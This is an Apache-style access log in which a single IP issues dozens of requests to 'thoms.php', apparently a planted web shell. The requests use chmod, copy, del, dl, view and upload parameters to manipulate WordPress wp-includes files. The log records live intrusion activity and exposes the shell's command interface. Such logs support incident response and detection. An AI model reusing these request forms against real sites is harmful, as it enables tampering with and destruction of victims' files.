45.135.193.11 - - [11/Sep/2026:23:09:40 -0400] "GET /thoms.php?chmod=default-constants.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Frewrite.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11864 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Frewrite.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:40 -0400] "GET /thoms.php?chmod=view-config.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=view-config.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:40 -0400] "GET /thoms.php?dl=class-wp-admin-bar.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-i18n.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-i18n.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:40 -0400] "GET /thoms.php?del=rest-api.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=rest-api.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:40 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-response.php HTTP/1.1" 200 12916 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:40 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-phpmailer.php HTTP/1.1" 200 13431 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:40 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:40 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-term-query.php HTTP/1.1" 200 23450 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fconnectors.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11824 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fconnectors.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2FIXR&p= HTTP/1.1" 200 11969 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?chmod=atomlib.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?chmod=class-wp-block-type.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?chmod=class-wp-embed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?chmod=class-wp-icon-collections-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icon-collections-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=default-constants.php HTTP/1.1" 200 15397 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?chmod=post-formats.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=https-detection.php HTTP/1.1" 200 14069 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:42 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=template-canvas.php HTTP/1.1" 200 12239 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:42 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:41 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:42 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fsitemaps HTTP/1.1" 200 13924 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2FText&p= HTTP/1.1" 200 11967 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:42 -0400] "GET /thoms.php?del=utf8.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=utf8.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:42 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 200 12474 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:42 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 200 18036 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:42 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:42 -0400] "GET /thoms.php?del=class-wpdb.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:43 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:42 -0400] "GET /thoms.php?dl=script-loader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:43 -0400] "GET /thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fdefault-constants.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fdefault-constants.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fregistration-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fregistration-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:43 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fblocks HTTP/1.1" 200 38870 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:43 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:43 -0400] "GET /thoms.php?dl=class-wp-term-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:43 -0400] "GET /thoms.php?dl=http.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=http.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:44 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 200 19859 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fplugin.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fplugin.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:44 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php HTTP/1.1" 200 14098 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:44 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 200 13733 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:44 -0400] "GET /thoms.php?del=class-requests.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:44 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&upload= HTTP/1.1" 200 12183 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:44 -0400] "GET /thoms.php?del=functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:44 -0400] "GET /thoms.php?chmod=php-compat&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=php-compat&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:44 -0400] "GET /thoms.php?dl=shortcodes.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:45 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:45 -0400] "GET /thoms.php?del=atomlib.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 200 33500 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:45 -0400] "GET /thoms.php?del=class-oembed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-oembed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fhttps-migration.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fhttps-migration.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fsodium_compat HTTP/1.1" 200 13811 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:45 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:45 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=plugin.php HTTP/1.1" 200 21182 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:45 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57907 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:45 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:46 -0400] "GET /thoms.php?chmod=query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:46 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php HTTP/1.1" 200 14018 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:46 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-theme.php HTTP/1.1" 200 30463 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:46 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:46 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57876 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:46 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57923 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
